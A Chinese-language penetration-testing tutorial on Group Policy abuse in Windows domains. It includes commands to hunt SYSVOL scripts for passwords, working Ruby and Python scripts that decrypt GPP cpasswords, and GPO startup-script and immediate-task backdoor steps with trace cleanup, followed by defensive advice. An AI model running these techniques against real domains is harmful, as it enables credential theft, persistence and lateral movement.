浅析域渗透中的组策略利用
字数 1668 2025-08-25 22:58:55
域渗透中的组策略利用技术详解
0x00 组策略基础概念
组策略定义
组策略(Group Policy)是Windows NT家族操作系统的特性,用于控制用户和计算机账户的工作环境,提供操作系统、应用程序和活动目录中用户设置的集中化管理和配置。
组策略分类
- 本地组策略(LGP/LocalGPO): 面向独立且非域的计算机
- 域组策略: 面向域环境中的计算机和用户
0x01 本地组策略利用
利用方法
- 通过
gpedit.msc打开本地组策略编辑器 - 路径:
Windows设置→脚本→启动→属性 - 将后门程序放入
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup - 重启后程序将以SYSTEM权限执行
特点
- 简单易用
- 权限高(SYSTEM)
- 容易被安全工具检测(常见排查目录)
0x02 域组策略基础
关键目录
- SYSVOL目录: 存放组策略数据和脚本配置文件
- 路径:
\\DC\SYSVOL\domain\Policies - 域内所有用户可访问
- 路径:
- NETLOGON目录: 存放脚本信息
- 挂载点:
SYSVOL\domain\SCRIPTS
- 挂载点:
默认组策略对象(GPO)
- Default Domain Policy: 默认域策略
- GUID:
{31B2F340-016D-11D2-945F-00C04FB984F9}
- GUID:
- Default Domain Controllers Policy: 默认域控制器策略
- GUID:
{6AC1786C-016F-11D2-945F-00C04FB984F9}
- GUID:
组策略首选项(GPP)
- Windows 2008新增功能
- 提供20多个客户端扩展
- 可管理本地组、用户、计划任务等
- 简化了统一管理操作
0x03 域组策略利用技术
1. 读取脚本中的密码
利用场景:
- 域管理员通过组策略下发包含密码的脚本
操作方法:
- 搜索SYSVOL下的脚本文件:
for /r \\dc\sysvol %i in (*.vbs) do @echo %i for /r \\dc\sysvol %i in (*.bat) do @echo %i - 分析找到的脚本文件,提取硬编码密码
2. GPP漏洞利用(CVE-2014-1812)
漏洞原理:
- Windows 2008(未打补丁)的GPP功能会将密码以AES-256加密存储在XML文件中
- 加密密钥是公开的(微软官方提供)
- 高版本系统已修复(无法通过GPP设置密码)
利用方法:
-
查找敏感XML文件:
- Groups.xml
- Services\Services.xml
- ScheduledTasks\ScheduledTasks.xml
- Printers\Printers.xml
- Drives\Drives.xml
- DataSources\DataSources.xml
-
解密密码:
-
使用Ruby脚本(gppdecrypt.rb):
require 'openssl' require 'base64' def decrypt(encrypted_data) padding = "=" * (4 - (encrypted_data.length % 4)) epassword = "#{encrypted_data}#{padding}" decoded = Base64.decode64(epassword) key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") aes.decrypt aes.key = key plaintext = aes.update(decoded) plaintext << aes.final pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion return pass end -
使用Python脚本(Gpprefdecrypt.py):
from Crypto.Cipher import AES from base64 import b64decode key = "4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b".decode('hex') cpassword = "加密的密码" + "=" * ((4 - len("加密的密码") % 4) % 4) password = b64decode(cpassword) o = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password) print o[:-ord(o[-1])].decode('utf16')
-
-
自动化工具:
- Get-GPPPassword.ps1:
powershell-import Get-GPPPassword.ps1 powershell Get-GPPPassword
- Get-GPPPassword.ps1:
3. 组策略后门利用
前提条件: 已获取域控权限
方法1: 直接下发恶意脚本
- 创建或修改GPO
- 在"启动/关闭"脚本中放入恶意程序
- 将GPO链接到目标OU
方法2: 通过计划任务远程执行
- 使用New-GPOImmediateTask.ps1脚本
Import-Module GroupPolicy new-gpo -name TestGPO | new-gplink -Target "dc=test1,dc=local" New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO -SysPath '\\dc\sysvol\test1.local' -CommandArguments '-c "恶意命令"' - 强制更新组策略
Invoke-GPUpdate -Computer "目标计算机" - 清理痕迹
Remove-GPO -Name TestGPO
0x04 防御建议
-
针对GPP漏洞:
- 升级到最新Windows版本
- 删除SYSVOL中包含密码的XML文件
- 使用LAPS(本地管理员密码解决方案)替代GPP
-
常规防御:
- 定期审计组策略设置
- 监控SYSVOL目录的异常修改
- 限制普通用户对SYSVOL的写入权限
- 实施最小权限原则
-
检测措施:
- 使用SIEM监控组策略的异常更改
- 定期检查计划任务和启动项
- 实施文件完整性监控(FIM)
0x05 总结
组策略作为Windows域环境的核心管理功能,在渗透测试中提供了多种攻击面。从本地组策略的启动项利用,到域组策略的密码泄露和远程代码执行,攻击者可以借此实现权限提升和横向移动。防御者需要充分了解这些技术,才能有效保护域环境安全。